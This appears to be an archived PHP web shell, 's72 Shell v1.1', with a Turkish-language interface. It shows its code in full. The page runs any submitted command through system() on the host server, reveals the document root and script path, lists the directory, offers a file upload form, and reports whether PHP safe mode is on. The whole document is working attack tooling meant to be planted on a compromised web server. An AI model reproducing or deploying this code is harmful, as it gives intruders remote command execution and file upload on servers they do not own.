home *** CD-ROM | disk | FTP | other *** search
/ ftp.nk.ca / 2014.06.ftp.nk.ca.tar / ftp.nk.ca / pub / Unix / s72 Shell v1.1 Coding.txt < prev    next >
Text File  |  2012-01-24  |  5KB  |  141 lines

  1. <html>
  2.  
  3. <head>
  4. <meta http-equiv="Content-Language" content="tr">
  5. <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
  6. <meta name="ProgId" content="FrontPage.Editor.Document">
  7. <meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
  8. <title>s72 Shell v1.0 Codinf by Cr@zy_King</title>
  9. <meta name="Microsoft Theme" content="refined 011">
  10. </head>
  11.  
  12. <body background="refbgd2.gif" bgcolor="#000000" text="#FFFFFF" link="#666699" vlink="#999999" alink="#999900">
  13.  
  14. <!--mstheme--><font face="Times New Roman">
  15.  
  16. <p><font face="Comic Sans MS" color="#FF0000"><b>                                                 </b>s72 Shell v1.1 Coding by <a href="mailto:crazy_king@turkusev.net">
  17. <font color="#00FF00">Cr@zy_King  </font>
  18. </a> </font></p>
  19.  
  20.       <p>                                                                           
  21.       <font color="#FF0000"><b><font face="Comic Sans MS" size="1">                            [ 
  22.       Server Bilgileri ]</td>
  23.     </tr>
  24.     <tr>
  25.       <td width="49%" height="142">
  26.       </font></b></font>
  27. </p>
  28.       <p align="center">
  29.         <font color="#800080"><b><font face="Verdana" style="font-size: 8pt">
  30.         Dizin</font></b></font><font face="Verdana" style="font-size: 8pt"><font color="#800080"><b>:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?>
  31.         <br />
  32.         <b>Shell Dizini:</b> <? echo $SCRIPT_FILENAME ?>
  33.         <br>
  34.          </font></font><p align="center"><form method="post">
  35. <p align="center">
  36. <font color="#800080">
  37. <br>
  38. </font><font face="Verdana" style="font-size: 8pt" color="#800080">Buraya 
  39. Kodunuzu Yaz²n :)</font><font color="#111111"><br>
  40. <br>
  41. </font>
  42. <font color="#FF0000">
  43. <textarea size="70" name="command" rows="2" cols="43" ></textarea> <br>
  44. <br><input type="submit" value="╟al²■t²r!"></font><font color="#FF0000"><br>
  45.  <br></font></p>
  46.       </form>
  47.       <p align="center">
  48.         <font color="#FF0000">
  49.         <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center">
  50.          <p align="center">
  51.               <font color="#FF0000">
  52.               <td width="49%" height="24" bgcolor="#FCFEBA">
  53.               </font>
  54.       <p align="center"><font color="#FF0000"><b>
  55.       <font face="Comic Sans MS" size="1">[ Diziler -_- Dizinler ]</td>
  56.       <td width="51%" height="24" bgcolor="#FCFEBA">
  57.       </font></b></font>
  58.       <form method="post">
  59. <p align="center">
  60. <font face="Verdana" style="font-size: 11pt">
  61. <?
  62. $folder=opendir('./');
  63. while ($file = readdir($folder)) {
  64. if($file != "." && $file != "..")
  65. echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>';
  66. }
  67. closedir($folder);
  68. ?></p>
  69.       </form>
  70.       <p align="center">
  71.       <br>
  72.         <b><font face="Comic Sans MS" size="1" color="#FF0000">[ Upload ]</font></b></font><font face="Comic Sans MS" size="1"><b><font color="#FF0000"></td></font></b></font><form enctype="multipart/form-data" method="post">
  73. <p align="center"><br>
  74. <br>
  75. <font face="Verdana" style="font-size: 8pt" color="#800080">Buradan Dosya Upload Edebilirsiniz.</font><br>
  76. <br>
  77. <input type="file" name="file" size="20"><br>
  78. <br>
  79. <font style="font-size: 5pt"> </font><br>
  80. <input type="submit" value="Yⁿkle!"> <br>
  81.  </p>
  82. </form>
  83. <?php
  84.  
  85. function check_file()
  86. {
  87. global $file_name, $filename;
  88.     $backupstring = "copy_of_";
  89.     $filename = $backupstring."$filename";
  90.  
  91.     if( file_exists($filename))
  92.     {
  93.         check_file();
  94.     }
  95. }
  96.  
  97. if(!empty($file))
  98. {
  99.     $filename = $file_name;
  100.     if( file_exists($file_name))
  101.     {
  102.         check_file();
  103.         echo "<p align=center>Dosya Zaten Bulunuyor</p>";
  104.     }
  105.  
  106.     else
  107.     {
  108.         copy($file,"$filename");
  109.         if( file_exists($filename))
  110.         {
  111.             echo "<p align=center>Dosya Ba■ar²l² Bir ▐ekilde Yⁿklendi</p>";
  112.         }
  113.         elseif(! file_exists($filename))
  114.         {
  115.             echo "<p align=center>Dosya Bulunamad²</p>";
  116.         }
  117.     }
  118. }
  119. ?> 
  120. <font face="Verdana" style="font-size: 8pt">
  121. <p align=\"center\"></font>
  122. </td>
  123.         <font color="#111111">
  124.         <br>
  125.         <br>
  126.         <br /><br /> </font>
  127.               <?php 
  128. // Check for Safe Mode
  129. if( ini_get('safe_mode') ) {
  130.    print '<font color=#FF0000><b>Gⁿvenlik Aτ²k</b></font>';
  131. } else {
  132.    print '<font color=#008000><b>Gⁿvenlik Kapal²</b></font>';
  133. }
  134.  
  135. ?>
  136.  
  137.         <!--mstheme--></font>
  138.  
  139.         </body>
  140.  
  141. </html>